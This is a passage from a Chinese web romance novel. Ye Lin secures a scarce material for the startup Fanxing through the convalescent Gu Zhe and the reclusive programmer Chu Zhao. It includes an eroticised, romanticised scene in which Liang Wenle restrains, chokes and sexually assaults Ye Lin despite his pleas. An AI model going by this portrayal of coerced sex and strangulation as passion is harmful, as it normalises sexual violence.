叶临率先迈开步子离开,还要大声说道:“那就祝梁大少爷前程似锦吧,永别。” 梁文乐没有回答,站在原地久久没动,像是一座雕塑。昨夜刚下过雨,风吹在脸上很凉,比冬日还刺骨。 接下来连续好几天没看见梁文乐,叶临的生活恢复平静。 照常睡觉吃饭,偶尔去医院看看沈邵,帮忙拿文件。 他以为日子可以这样平淡地过下去,结果梵星遇到了麻烦。 研发部需要一种材料,这种材料几乎可以说是梵星的核心。 但最近这种材料生产量又少,很多厂商都被大公司包了,根本不会剩下来给梵星这种小公司。 国内找不到货源,去国外采购就太慢了,而且性价比不高。 助理想不出办法,只能拜托叶临去找沈邵,看看有没有相关的人脉。 叶临接到消息,第一时间就去医院找沈邵,把助理的话完整地叙述一遍。 沈邵听了,非常头疼。 现在他和叶临都声名狼藉,找不到什么人脉,只能找人帮忙了。 眼下能帮到他们的,只有梁文乐和顾柘。 梁文乐惦记叶临这个人,找他帮忙,无疑是羊入虎穴。 之前他在医院跟顾柘聊过梵星,顾柘是个精明的商人,对梵星有兴趣,倒是可以拉入伙。 沈邵思考再三,把文件整理好顺序,递给叶临:“你去找顾柘,把这个文件按照顺序给他看,然后就说是我的要求,他会帮你的。” 叶临无法忘记顾柘污蔑自己的事情,立即拒绝:“啊,为什么要去找顾柘,我跟他关系差劲,没话说。” 沈邵无奈地叹息:“叶临,做生意就是利益为主,讲不了感情。顾柘对梵星感兴趣,只要给他好处,他会愿意帮忙。” 叶临还是不愿意,放下文件质问:“你什么时候跟顾柘那个混蛋搭上线的,你明明知道我很讨厌他!就是他害得顾嘉致失忆,还误会我。” 沈邵挺感激顾柘害顾嘉致失忆,不然哪里轮得到他呆在叶临身边。 而且他跟顾柘志趣相投,都是有能力有远见的商人,可以合作愉快。 “但是现在梵星急需那批材料,不止我们惦记互联网这块肉,很多公司都注意到了。 如果我们不能在第一轮竞争中胜出,那就会被淘汰,更别提上市了。” “可是,没有别人可以用吗,非得是顾柘?” “我们两个在梁文乐的订婚上的事情传遍了,现在根本没有什么人愿意帮我们,也就顾柘有能力有兴趣,愿意帮梵星。 时间就是金钱,商场如战场,很残酷。“沈邵越说越激动,脸颊和脖子都红起来,开始剧烈地咳嗽。他是真的把梵星当作是心血,抬起手想继续劝叶临。 叶临见状,总算意识到事情的严重性,连忙扶住沈邵,轻轻地帮他拍背顺气:“行吧,本来顾柘就该帮,就当是他欠顾嘉致的!” 沈邵点点头,又开始咳嗽,嘴角溢出鲜血,只能叫医生过来查看。 原来是他身体还没好,每天还要工作,处理公司里的合同,所以加重了病情。 暂时不能再让他处理公司的事物,需要好好地休息。 叶临离开医院的时候,发现外面是阴天,浓厚的乌云压下来,狂风吹得路边的花草摇晃。 忽然有种大厦将倾的恐惧感,好像梵星不会长久。 就算手握剧本,知道梵星会起来,但事情完全没有按照原著发展,谁知道会不会出现差错。 毕竟在原著中,沈邵这个点还在沈家,而顾柘和顾嘉致也不会掺和梵星的是,他也不会做梁文乐的男友。 唉,算了,也不能事事都靠沈邵,他自己也应该出力。 叶临做完决定,打车去疗养院看顾柘。 这个疗养院远离市区,建在依山傍水,景色优美的地方。 比起医院,更像是一处豪华的庭院,有景观门,过厅,花园,水亭等等。 顾嘉致坐在轮椅上,停在长廊底下。看外面的水榭池塘,风吹落许多红枫,紧接着就飘起小雨。 雨滴落在池塘,荡漾出圈圈波纹,搅动里面的绿意,偶尔还能瞥见几条细长的红锦鲤。 他很喜欢这种情景,听着雨声,思考人生,能够让内心宁静下来。 可是很快,听到一阵急促的脚步声,内心随之剧烈的颤动,再难平静。 “顾柘!” 果然是吵吵嚷嚷的叶临。 顾柘很喜欢宁静的氛围,但听到叶临的话,还是转过头问:“有事?” 叶临把文件递给他。 顾柘看完文件就知道梵星遇到了什么困难:“有远见的人,早在一个月前就知道这个时间段各家都在研发,材料会紧俏,看来你们公司都是庸才。” 叶临被他贬低,心里不服,抬脚踹轮椅:“我们公司的人都很厉害,不需要你点评!快点说解决方案!” 顾柘被他踢得往前倾,连忙按住扶手才稳住身形:“我为什么帮你?” 叶临抓住轮椅靠背,看向面前的池塘:“你不帮我,我就把你推进池塘里淹一会儿,反正又不会死。” 顾柘发觉叶临真是个炮仗,蹦蹦跳跳,吵吵闹闹:“你可以试试。” 叶临真就把他往前推,到了雨里,不断地靠近池塘。 顾柘脸上的纱布都拆了,此刻雨水将头发淋湿,脸颊新长出的肉也有雨珠,看起来非常狼狈。 靠近池塘的瞬间,叶临还是停下来,轻踹轮椅:“听沈邵的语气,你就是想投资梵星呗,如果你不帮这一次,我以后绝对不会让你投资的。” 顾柘抬手擦掉眼睛上的水珠,无奈道:“你求人是这样求的?” 叶临又踹一脚:“求你这种禽兽,就是要这样求啊。你到底帮不帮!” 顾柘完全被他说中心思,当初以为梵星只是个老破小,但那次沈邵来医院看他,说到公司的未来远景以及组成结构,就有了兴趣。 沈邵找他帮忙,就是投掷橄榄枝。 本来应该痛快答应,但是看到叶临,就想故意为难。 结果为难到最后,还是他受苦,叶临根本不讲道理。 “你先推我回去。” “你求我啊,叫叶临哥哥,我就推你回去。” “” “快点叫!”叶临在他面前蹲下来,捏捏脸上的新肉,软软的手感很好,笑眯眯地催促:“快点叫啊,小柘。” 顾柘想到这人确实比自己大了一岁,偏过头不想搭话。 叶临最喜欢捉弄生病的顾柘,又伸出手去摸头:“小柘弟弟,你怎么变矮了,才到我的胸口。” 顾柘感觉到头顶的温热,还能闻到淡淡的香味,鬼使神差地回答:“你去找楚诏,他手里有货,但能不能拿到,看你自己了。” 叶临像是拍皮球一样拍拍头:“哇,你什么意思,找你帮忙就给个人名,也不保证我过去就有货。” 顾柘头疼,还是把一只钢笔递给他,告诉他有关楚诏的所有信息。 叶临这才把他推回长廊,顺便帮他叫护工送回去,还装模作样地凑到他耳边说道:“小柘,你看看哥哥多善良,怕你感冒,还帮你叫人呢。” 顾柘的耳垂脖颈都有一阵热意,半边身子都麻了,没有说话,只是死死地盯着叶临。 叶临毫不在意,收好钢笔,还笑着冲他挥手再见。 回去的路上他一直打喷嚏,还感觉冷。 不明白自己为什么要帮叶临这样的人,明明是来折磨他的? 果然是看在利益的份上吧,这次过后,沈邵算是欠他一个人情,以后谈合作就好加码。 楚诏在两天后的下午才会出现,现在还不着急,可以先回公寓里休息,整理思绪。 楚家富了三代,到第四代家道中落。楚诏的爸爸还有九个孩子,分给楚诏的资源少之又少。 楚诏高中的时候自学计算机,靠着这门技术赚到第一桶金了,直接辍学干起倒卖生意,赚中间的差价,现在也算小有名气。 顾柘偶然认识他,双方交换了名片,偶尔会联系,感情不算深厚。 钢笔是楚诏的信物,他给顾柘钢笔,就是希望他们有合作的机会。 但是现在钢笔是叶临拿着,他看得上顾氏,不一定看得上梵星,所以需要叶临自己想办法。 叶临回到公寓后,仔细地回忆了一下。 他对这个楚诏这个人名有印象,是个患有精神病的计算机天才。 小说后期,他是顾柘的得力帮手,差点把主角的公司黑死。 必须想办法拿下这个人才,招纳到公司里,不能流到顾柘手里。 天黑后,雨下得越来越大,敲得窗户噼里啪啦作响,风已经把楼下好几棵树吹歪了。 屋内只开着柔和的暖灯,茶几上放着烤串和酒,以及游戏机。 叶临想到曾经住在这里,沈邵会给他做各种好吃的,现在只能随便吃点外卖,生活质量大大下降,不免郁闷。 吃完后,叶临草草地收拾,就去洗手间洗漱。 对着镜子能看见脸上的红晕,应该是微醺,还能保持意识。 忽然听见门铃声,非常急促,像是催命一样。 这个点会有谁来,难道是公司助理吗? 就他知道沈邵的住址了。 叶临擦干手,才走出去开门。 “谁啊!” 刚打开门,就听到足以响彻整栋公寓楼的雷声,震耳欲聋。 楼道里很黑,看不清整张脸,但能够感觉到情绪,幽怨仇恨。 像是从沼泽里爬出来的水鬼,浑身湿透,衣服紧贴,头发垂下来。 叶临下意识地往后退,紧接着就被抓住手往前拉。 “你!” 撞到温热的胸膛,才能确认站在面前的是活生生的人。 在屋内灯光下,终于看清楚脸——居然是梁文乐。 怎么可能是他? 叶临记得很清楚,梁文乐非常讨厌沈邵,嫌弃这里是小三住的地方,绝对不会踏入公寓的范围。 所以,他开门的时候,完全没有往梁文乐身上想。 “你,你怎么来了?” 梁文问将他牢牢地锁在怀里,反手将门关上,沉声道:“你说我为什么来了?” 叶临发现他浑身都湿透了,散发着寒气,只有贴得很近才能感觉到体温:“文乐,你放开我,我跟你说” 梁文乐没有给他再次刺伤自己的机会,像是饿狼扑食,要将猎物啃食殆尽,才会罢休。 呼吸不畅,是久违的窒息感,快要昏厥。 “叶临,我给你打了那么多个电话,那么多短信,你就是不接不回!十天了,整整十天了,你毫无反应!” “我,我这几天比较忙,而且我觉得我们之间的关系,还是不要有联系比较好。” 叶临感觉今天的梁文乐不太对劲,特别像那天暴打沈邵的状态。他不想被暴打,都是用委婉的语气说话。 “我们什么关系,我们不是结婚了吗?”梁文乐说话前言不搭后语,紧接着笑起来。 再突然用力,将他摔在沙发上。 多余的枕头都被震落,掉在地上,以及乱成团的上衣,破烂的裤子。 “文,文乐,我们的订婚已经取消了。”叶临奋力地挣扎,却发现对方力气太大*,难以推开。 “没有,我们明明已经结婚了,非常相爱。”梁文乐凑到他耳边,痴迷贪婪地低声说道。 “文乐,你冷静点,先听我说。” “我不想听你说,你只会骂我,骗我,打我,再抛弃我!”梁文乐的眼眶泛红,却没有眼泪掉落。他哭太久了,此刻身心干涸,一滴泪都流不出来,只想获取甘霖。 “我,我”叶临对上那双暗淡无神的眼眸,顿时有了不好的预感:“文乐,你不是要去国外读书吗,怎么还在这里啊?” “不去了,我哪也不去,我要呆在你身边,永永远远。”梁文乐太熟悉这件事,曾经他跟叶临日日欢好,无数次热烈,轻易就能带动对方的反应。 “文”叶临勉强溢出一个单音节,紧接着就再也说不话。 “叶临,你好狠的心啊!这两个月以来,都是我来找你,你一次都不会挂念我。哪怕我要出国,你都没有表示。” 叶临的脸颊涨红,浑身都在发抖。他已经不在客厅,而是到了外面,不断地被暴雨击打,全身都被淋湿,热得不行。 “你知道我这段时间怎么过的吗,我每天晚上都睡不着,翻来覆去地想你。只能抱着你的衣服哭。哭着哭着就开始恨你,怨你,骂你。 我想你去死,又怕再也见不到你。世界上怎么会有你这种恶毒的人,给了我最美好的爱情,又在订婚当天亲手撕碎!” “你还骂我是烂人,要我去死,我看你才应该去死!”梁文乐嘴里念着,手上用力掐。 叶临的皮肤太过细嫩,稍稍用力就会泛红。 颈部已经浮现出红色的手痕。 梁文乐随之收手,又心疼地去亲,不断地道歉:“叶临对不起,我不小心太用力,你没事吧。” 叶临只是觉得疼,很快就缓过来。他想张嘴劝梁文乐离开,结果又听到怨铃一样的声音在耳边响起。 “你真应该去死啊,这样我就不会念着你,想着你,每天折磨自己。”梁文乐说着说着,声音开始发颤,像是在啜泣,实则没有眼泪,只有炽热的眼神。 他实在是太爱叶临了,很久没有见到,既想好好地疼爱,又想狠狠地让对方记住。 叶临的心脏陡然增速,有种小时候回家走夜路,路过坟墓感觉到凉意的惊悚感。 他很想逃离这里,拼命地挣扎。 可是柔软的丝织物封锁住手脚的所有路径,无从逃脱。 梁文乐低头去吻,像是在品尝一道美味佳肴,在跟自己最亲密的玩偶做游戏,忘情地投入。 “沈邵会这样对你吗?” “他对温柔地亲你,哄你吗?” “我对你特别好吧,你看,我都不舍得伤到你,只会让你快乐。” 梁文乐把他抱起来,放在怀里轻声哄,语气有多温柔,动作就有多残暴。 叶临下意识去抓,但是没有感觉到实物,快要被逼疯了,只能呜呜咽咽。 “叶临叶临,我这么好,你为什么还要找沈邵那个小三呢?” “是你太坏,还是他会勾引呢?” 叶临崩溃了,眼泪不断地流出来,整个人都像是筛子。 哪里是破的,没有一处完好。 梁文乐又朝着卧室走去,脚上拖出长长的水痕,皮肤白得近乎透明,衬得脸上的绯红异常诡异。 “呜呜呜呜,文,文乐不要” 叶临勉强搭着肩膀,好不容易才有机会求饶,又被强行打断。 或许是他哭得太可怜,太伤心了。 梁文乐居然温柔起来,还轻轻地安抚他。 “肯定都是沈邵的错,是他勾引你,对吧!” “你说话啊,为什么不说话呢?” “呜呜呜呜呜,我,我”叶临好想说话,他知道再不开口,梁文乐就会把他玩死。 可是这种时刻,怎么有余力说话,只能发出奇怪的单音节,或长或短,或高亢或低落。 “所以还是我好吧,沈邵哪里有我厉害。我们叶临吃得好饱,肚子圆圆的,像是要怀宝宝了呢。” 梁文乐故意按压,眼神暧昧,像是在跟自己怀孕的妻子温存,甜蜜幸福。 “不,不要,呜呜呜呜呜!”叶临被逼得崩溃大哭,像是上岸的鱿鱼,完全瘫软掉,往下坠。 “好可爱,最喜欢你了。”梁文乐抱得很紧,想把他嵌进自己身体里,情绪异常兴奋。 叶临的意识不清醒,昏过去了,但是还是会有感觉,处于半死不活的期间。 【当前金钱增速为每小时22万。】 【目前饥饿值40%。】 只有系统冰冷的声音,才能暂时唤回他的意识。 太恐怖了,刚刚的金钱增速居然那么快! 叶临后知后觉旁边多了柔软的枕头,而梁文乐依旧不肯离去,乐此不疲。 雷声滚滚而来,由远及近,仿佛能刺穿耳膜。每一次雷鸣,都会让人的心跳不由自主地加速,好似从高处跳下去。 暴雨中的世界,变得模糊不清,就像他和梁文乐,潮湿粘糊,彼此分不开。 “叶临,你知道吗,我遇到你后,感觉自己是世界上最幸福的人。 每天醒来,任何人和事物都变得美丽。我们谈恋爱的那段时间,我脾气都变好了,可以容忍很多事。” “我以为,你是因为我小时候日日夜夜祈祷才来的,是上天派给我的天使,命定的爱人。我们会永远在一起,白头偕老。” “但是你为什么要背着我去找沈邵私会,为什么要破坏我心心念念的订婚宴,为什么要抛弃我,不管不顾!” 梁文乐说话的时候,心脏每一次跳动都像是用刀子刺进肉里,疼得脸色泛白。 可是他又因为此刻拥有叶临,情绪高涨,哪里都是红的,染上了晚霞般的颜色。 叶临昏过去又醒来,依稀能够听见梁文乐的声音,但嗓子哑了说不出话。 他甚至出现了认知错乱,分不清上下左右,不知道外面的时间变化,更不知道此刻呆在哪里。 只能感觉到坠入巨大的火炉中,到处都是火焰,将他严丝合缝地包裹住。 又像是坠入温泉水里,温柔的同时,有窒息一样的感觉。 直到暴雨停止,没有雷声,世界才恢复平静。 窗外已经是黎明时分,天边出现了淡淡的白光。 窗户被打开,清新的空气涌进来,驱赶昨日的污秽。 叶临感觉自己的身心得到了解放,就快要睡过去。 结果耳边感觉到热意,紧接着就传来熟悉的低语。 “叶临,你最好祈祷两年后我不爱你了,否则我一定会让你付出沉重的代价。” 这句话就像是铁钉刺进脑子里,瞬间就唤醒所有的神经,四肢都动起来。 叶临猛然睁开眼,发现旁边没人。 卧室窗户打开着,风吹起白色的窗帘,浮现出海的纹路。 应该是喝醉酒做噩梦了吧,昨天梁文乐根本没有来过,他也没有被那啥。 叶临松了一口气,低头却注意到密密麻麻的痕迹,紧接着就感觉到酸痛。 他吓得连忙跑进洗手间看镜子,瞳孔骤缩,心脏提到嗓子眼。 镜子中的脖颈还是红的,是被勒住留下来的痕迹。 身后忽然浮现出刺骨冷意,仿佛间还有人站在后面。 叶临紧张兮兮地往后看,没发现有人,又小心翼翼地跑去客厅。 果然,地上堆满了衣服和枕头,地板上还有脏的水痕。 来过了?来过了! 怎么不像人,像鬼呢? 叶临找到手机,翻到梁文乐的电话,犹豫很久才打过去。 结果对方显示是空号,微信也联系不上。 最终,他还是联系了陈瑜琳,询问梁文乐的状况。 陈瑜琳念在他以前救过梁文乐的情分上,还是告诉他。 【文乐今天凌晨四点就坐飞机走了,他要去国外念书,两年后才回来。】 叶临终于安心,靠着墙壁缓缓坐下来,查询饥饿值。 【宿主目前的饥饿值0】 看来昨天真是梁文乐,报复他一次就走了。 算了,好歹是解决了饥饿值,就不跟那个疯子计较。 叶临心里虽然有了不好的预感,但还是下意识安慰自己,不会有事。 至于两年后会发生什么,他是万万没想到的。 第48章 第48章叶临睡着了,好可爱 想跟楚诏见面,就得在线上约好。 叶临借助顾柘的聊天工具,提前约定好时间和地点,才带着信物过去。 楚诏约好的地点位于一家咖啡厅,下午三点,纯粹做交易,没有多余的应酬。 咖啡厅地处偏僻的街道,外面是透明窗,上面有白色的英文logo,透过窗户可以看到里面只有两三个人,生意冷清。 店员穿着黑色的工装,正在低头擦拭杯子,看听到有人进来,也没有喊欢迎。 叶临来到指定的桌子坐下来,环顾四周,都没看到顾柘描述的那个人,只好发消息询问。 【我到了,你在哪里?】 【顾柘人呢?】 【他生病住院不能过来,我替他过来跟你谈合作。】 【算了,我只跟他本人合作,你走吧。】 【可是他腿断了在坐轮椅,真的不能过来。】 叶临贴心地把顾柘坐轮椅的照片发过去,证明自己所言非假。 【那是他的问题,我只跟他本人合作。】 什么臭毛病! 叶临好想踹桌子大骂有病,但为了维持形象,只能扣了扣桌面。 他发现左手边有一对情侣小声,右手边有一个胖男人喝咖啡,楚诏应该不是他们其中之一。 顾柘说过,楚诏是一个瘦瘦高高的年轻人,性格古怪,喜欢躲在暗处看人。 叶临继续给楚诏发消息拖延时间,再观察整个咖啡厅的结构。 店里有十个桌子,配备一个小小的后厨。 后厨门口有帘幕半遮着,能够看见里面有三个人在忙碌,分别是两男一女。 一个男生在磨咖啡豆,另外一个男生在洗餐具,女生在调制奶油。 叶临低头发消息,低头盯着这三个人。 【跟我做生意吧,是一单大的。】 【快点滚,这里不欢迎你这种无赖。】 【怎么骂我无赖啊,我可是顾柘的人,你不是送他钢笔,想跟他合作吗!】 【我是想跟他本人合作,而不是你这种看起来油腔滑调的。】 叶临用余光注意到,后厨里的三个人根本没有做出打字的动作。那么楚诏不在里面,而是躲在暗处观察他。 可是咖啡厅能有什么暗处呢,难不成是监控摄像头吗 【好吧,我走了,以后有机会再合作。】 叶临站起来,朝着门口走去,又折返回来停在门口看消息。 【你不仅无赖,还是个骗子,根本没走。】 【我走了啊,是你直接瞎了没看见。】 对方没有再回复,叶临打算耍无赖,就待在这个咖啡厅,等着楚诏出现。 因为,楚诏跟咖啡厅没关系的话,自己走掉就可以了,何必强调让他走。听楚诏的语气,应该是咖啡厅的老板,所以才不希望他久留。 既然骂他是无赖,那就真无赖好了。 叶临故意站在门口的位置,就是为了影响他的生意。 可是两三分钟过后,楚诏没有出现,更没有店员出来驱赶他。 有点奇怪。 前台一直擦杯子的店员忽然出声:“客人,我们店要打烊了。” 叶临这才注意到,店员长得比自己高,身上的黑色工作服收紧,完美地将宽肩窄腰展现出来,手臂有力,能够看到几块肌肉。 店员有深邃的眉眼,眉毛纤长细腻,外轮廓柔和,五官却是平直有力的线条,看起来少年气息浓厚,介于美与俊之间。 美中不足的是,他的双眼无光,很像那种熬夜狠了的生无可恋。眼神也犀利冷漠,看透世态炎凉。 一般人的眼睛里不会出现这种眼神,大都是麻木清澈。 叶临立即上前抓住店员的手腕:“楚诏,我抓住你了!” 楚诏看到他那双修长细腻的手抓上来,吓得面容失色,连忙往回退。 结果叶临非常用力,非要把他往前拽,还要低声威胁他:“你不出来跟我说清楚,我就说你是骗婚gay,让在场的所有人看你的笑话。” 对于叶临来说,金钱最重要,面子这种东西毫无意义。他都可以在梁文乐的婚宴上跟沈邵私会,自然不会害怕在这里陪楚诏闹。 楚诏本来就宅,非必要不出门,今天看在顾柘的份上,他才来到这个咖啡厅。 秀才有理也怕兵。 楚诏才不想社死,只好沉着脸从前台里走出来。 叶临见目的达到就松开手,凑过去低声道:“你早这样,我也不会威胁你了。” 楚诏感觉到热意,立即推开他,应激一样说道:“离我远点,恶心!” 叶临发现他的脸色难看,耳尖却红起来,猛然想起梁文乐最初的反应,点点头表示理解:“你真是gay啊,我懂我懂,他们都喜欢我这样的。” 楚诏发消息的时候就觉得叶临愚蠢,被叶临拽出来觉得无赖,现在觉得叶临自信过头。 叶临真的是他这辈子见到过最俗最蠢的人了! 他再也没有说话的心思,推开门往外走。 叶临连忙追上去抓住他的手:“别走啊,你还没跟我谈生意。” 楚诏感觉他就像块口香糖,怎么都甩不掉,只好放狠话:“我不想跟你这种蠢货谈生意,肯定会亏。” 叶临强试着放软语气:“别啊,你都没看我们公司的文件,怎么知道这笔生意会亏呢。你知道梵星吗,最近在网上挺有名气的。” 楚诏听过梵星的名字,这家公司创业历程崎岖的。主要创始人是刘闻,在黑客界颇有名气,天赋不算高,但为人慷慨大方,帮助过很多同行。 叶临趁机把文件递给他:“你看一眼嘛,看完了再决定拒绝好不好?我可是顾柘推荐的人,比他还要靠谱。” 楚诏拿过文件,只在叶临的脸上看到了“离谱”两个字,可不觉得他所言属实。 但既然是顾柘推荐的人,而且还非常无耻,缠得很厉害,勉强看一眼吧。 扫过第一行字,大概就知道他们公司要什么。 楚诏把文件还回去:“你们公司的服务器硬件和防御系统太烂了,卖给你们也是浪费。” 叶临听不懂他在说什么,但他知道楚诏是个技术人才,连忙补充条件:“那我聘请你帮我们公司升级防御系统和硬件呗,你要什么待遇都可以谈。” 怎么还连吃带拿的,果然很无赖! 楚诏白他一眼,懒得多说,转身就想走。 叶临不肯放弃,就跟在他旁边,继续唠叨。 “我告诉你,如果你今天不答应,我就缠死你!” “有病!” 楚诏立即跑起来,结果这小子速度跟他差不多,完全甩不掉。 不仅如此,叶临翻墙翻栏杆样样精通,紧追不舍。 跟得太紧了,他都没有机会坐上交通工具。 楚诏跑到小区楼下,已经累得冒汗。 这一代是老实居民区,大都是老人,环境安静,到处都是几十年的大树,遮蔽住阳光。 旁边的叶临也是一样,累得满脸通红,汗水直流,还能跟着他上到十楼。 楚诏进入房间后,火速关门,想把这个麻烦的家伙隔绝门外。 结果门合上的瞬间就看到叶临将手伸进来,立刻听到惨叫。 还好他松得够快,只是让叶临的手背被压出红痕,没有骨折碎裂。 “你疯了!”楚诏忍不住怒吼。 “我没疯,梵星真的很需要你那批货,如果没有的话,就完蛋了!”叶临边揉手背边看向他,预防万一,还将脚跨入门里,免得对方关门。 “你!”楚诏发现他的眼睛很亮,就像晴日下的湖面,波光粼粼,而且说话铿锵有力,是晒足了阳光的活人。 “我可以加价买你那批货,卖给我吧,不然梵星就完蛋了!”叶临越说越着急,他听沈邵和助理都说这批货很紧要,很害怕拿不到。 “算了。”楚诏往后退一步:“进来擦药再谈那批货。” 叶临高兴地跑进去,都忘记关门。 房间里非常整洁,鞋柜里的鞋子都是按照高低顺序排列。 沙发上的枕头摆放整齐,茶几上的桌布平滑,一丝褶皱都没有。 右手边的房间是健身室,可以看到有很多健身器材,窗户外面正对树林。 叶临在沙发边坐下来,四处查看,感慨道:“你看着不像是会请家政的,自己把房间收拾得整洁无异味啊,好奇怪。” 楚诏蹲在电视柜前拿出药箱,无奈地翻白眼:“正常人都爱干净,是你有病。” 叶临习惯性地伸出手。 楚诏把药瓶拍在他手边:“干嘛?” 叶临眨了眨眼睛,理所应当地问:“你不是要帮我涂药吗?” 楚诏沉默片刻,站起来去书房:“自己涂!” 叶临穿书后都习惯被男人伺候,受伤就会下意识伸手,谁知道面前的不是沈邵,而是楚诏。 没办法,他只能自己涂药。 来到室内,才发现楚诏的皮肤白,比他白了一个度,是那种很少见的冷白皮。 叶临猜测应该是他不喜欢出去晒太阳,于是看向健身房调侃道:“你都喜欢健身了,为什么不出去跑几圈,呆在家里多闷啊。” 楚诏烦躁地“啧”了一声,把合同递给他:“签完就滚,话真多!” 叶临知道人才都有怪脾气,要暂时忍耐。 刘备都要三顾茅庐才能请出诸葛亮,他也要耐心地聘请楚诏。 其实合同他看不懂,只能拍照发给沈邵,让对方过目。 沈邵告诉他可以签,只是略高于市场价,梵星可以承担。 叶临得到肯定的答复,就痛快地签字盖章,将合同递过去。 楚昭看着合同上小学生一样歪歪扭扭,看不懂的签名,无奈地叹气,签上自己的飘逸草书。 “两天后,货物会送到梵星门口,以后不要来找我。对了,钢笔还我,算是看错顾柘了。” “不还,你都送出去,就当是给我了。”叶临护着手里的钢笔,注意到合同上的签名,探过身去看,完全看不出是名字:“你的签名乱糟糟的。” 他的签名乱,那叶临的就是鸡屎。 “随便你,拿了合同就赶紧走。”楚诏挥挥手,像是赶苍蝇。 “你真的不打算来梵星吗,很有钱途的,以后你肯定会成为IT界的传奇!”叶临很想要这个人才,开始画饼。 “快走!”楚诏烦死他了,恨不得将人踹出去,但他修养高,真做不出这种事。 “我手疼,暂时不走了。”叶临突然躺下来哀嚎一声:“你让我休息一下吧。” 楚诏嫌弃他,拿起枕头去拍了他的背,做出赶人的架势:“你刚刚流汗了,还躺我的沙发,脏死了,滚开!” 叶临站起来,顺势提出借口:“那我帮你买个新沙发吧,过两天就送过来,你记得开门哦!” 楚诏把枕头丢出去:“不用,我只希望你快走!” 叶临怕他真发火,只好拿着合同快点跑到门口,挥挥手道别,才推门离开。 房间里总算安静下来,楚诏看着沙发就会想到叶临身上的味道,心生厌恶,干脆回了书房。 刚刚在街上,叶临靠过来的时候,先是一种特殊的植物气息,紧接着才是热意。 现在沙发估计也粘上了,肯定很难闻。 楚诏决定暂时不躺沙发,继续观察电脑上的代码运行情况。 外面还有阳光,透过细密的枝叶照在地面,形成破碎的光斑,不远处的老人正在散步,隐约听见鸟叫声。 叶临挺喜欢这个小区的环境,还拿到了合同,步伐都变得轻快。 把合同交到公司,安排相关的人员接收材料,他就去医院看沈邵。 夕阳破碎,只有些许光芒飘在地平线上方,云层呈现出雾霾灰色。 沈邵早上咳过血,现在已经身体很虚弱,看到窗外的景色,不由得生出一种落寞之感。 其实他不放心叶临去找顾柘,更担心公司会因为缺少材料而陷入困境。 好在他叶临给他发来了消息,说是拿到了合同。 虽然不知道他靠什么方法获得的,但好歹是解决了。 “沈邵,我和你说,那个叫楚诏的特别烦” 叶临从外面跑进来,嘴里骂骂咧咧的,在吐槽自己的合作对象。 恨不得把楚诏对他的所作所为都骂一遍,才甘心。 沈邵听过楚诏这个人的名字,是个怪胎,也没想到叶临能够搞定。 他听着,注意到叶临的手背有压过的痕迹,着急道:“你的手怎么了,涂药了吗?” 叶临盖住手背,故作轻松地解释:“没事,就是路上碰到,都快好了。” 沈邵太熟悉伤痕了,很快判定伤痕是今天造成的,又联想到今天的合同,立即猜出个大概:“听说楚诏是个怪胎,果然为难你了,还让你受伤。” 叶临摆摆手:“小伤而已,不过我看出楚诏是个人才,要是能够招来公司的研发部就好了。” 沈邵愤恨道:“你刚刚骂他,现在居然还想招他人才哪里都有,不差他一个。” 叶临看在他病重,没有再提楚诏的事情影响他的心情,转而说起轻松的日常。 入夜后,沈邵又要他留下来陪自己,嘴里还念叨着想要快点好起来,才能去处理梵星的事物。 倘若是他在公司,早就能够提前采购材料,不会出现这种纰漏。 叶临在旁边听着,感觉沈邵太累了,主动劝他不要再管,先好好地休息,病好再说。 “年底的时候,梵星应该会进入关键的时期,到时候我如果还是不能回去,你就去找顾柘。” “怎么会,我才不要顾柘,最烦他那副臭屁的模样!” “但他确实是管理的一把好手,能力很强。”沈邵不想惹叶临生气,没有再提顾柘。 “反正你什么都别管,先好好休息,公司有我。虽然我不懂那么多弯弯绕绕,但是你们把解决方案告诉我,我就会去做。”叶临抬手去盖住沈邵的眼皮,劝他早点休息。 沈邵从叶临这里感受到安全感,终于闭眼不再说话。 或许他应该放心把事情交给叶临,这个人身上真的有一种能够稳定人心的力量。 虽然沈邵不同意聘请楚诏,但叶临求贤若渴。 网络公司的防御系统很重要,就需要楚诏这种技术人才护卫梵星。不然以后稍微攻击一下,网友就崩溃,这个公司就完蛋了。 既然楚诏是顾柘介绍的,那他应该知道怎么跟楚诏打交道,必须得想办法从顾柘这里套到楚诏的喜好。 怀揣着这个心思,次日下午叶临就跑去找疗养院找顾柘。 走廊里看不到人影,花圃前也没有,那就只有房间。 叶临挨个找了好久,才找到顾柘的卧室。 这个房间陈设古朴,散发着一种淡淡的木质香味,紧挨着竹林,门口还有漂亮的花园,适合放松养病。 顾柘坐在轮椅上,感受风涌进来,听万物的声音,试图平复自己的心情。 可是越想心静,就越乱。 总是会浮现出叶临那张脸,眉眼如新月,巴掌小脸,干净细腻的皮肤。 嘴里吐着讨厌的话语,但眼波流转间又在无意识地勾引人。 甚至还隐隐感觉到叶临在摸他的头,烦躁不堪。 “你怎么躲这里来了,让我好找?”叶临走进来,第一件事就是用力拍顾柘。 “”顾柘没说话,低着头不想看他。 “你告诉我楚诏的喜好,以及你们怎么结识为朋友的,我马上就走,保证不烦你。” “你要知道这些做什么?” “反正有用,快点说!” 叶临猛地踹他的轮椅,忽然听见脚步声,往外看了一眼,发现顾母正朝着这里走过来,急得乱转。 “靠靠靠,绝对不能让你妈妈看见我,完蛋了!” 顾母本来就讨厌他,现在他的名声败坏,要是被顾母发现,肯定会被骂死。 叶临看准面前的木制大衣柜,立即钻进去合上门,眼神警告顾柘不许说出去。 顾柘也不想亲妈知道自己跟叶临有联系,无奈地转动轮椅,回归原本的位置,装作看窗外的风景。 顾母进来后,先是询问儿子的状况,紧接着就把自己带来的补品放好,跟儿子聊起家常。 “小柘,你以后不要跟嘉致打架了,他的大脑受到重创,情况不太妙。” “好的。” 叶临听到顾嘉致的消息,立即将耳朵贴着衣柜门,着急下文。 “好在我朋友认识一个厉害的医生,应该能治好,唉。” “那就好了。” 顾母又感慨了几句儿子,就谈起姐妹间的八卦。 “唉,你还记得梁阿姨不,她的儿子梁文乐被叶临绿了以后,还是执迷不悟,三番两次地去找叶临。 后面,梁阿姨就把他带去国外了,听说他们在国外也是闹得鸡飞狗跳的。” “知道,早说了梁文乐活该。” “是啊,我现在才觉得你说的有道理。要是梁文乐正常,怎么会痴迷叶临。” 叶临还以为顾柘会骂他,或者保持沉默,没想到居然会帮他说话。 “还好,你不喜欢叶临。我看沈家那小子也是吃想不开,为了叶临跟家里断绝关系,现在还在医院里躺着。” “”顾柘没回话,下意识地看向后面的衣柜。 叶临没听到顾嘉致的消息,就低头玩手机,耐心地等着顾母离开。 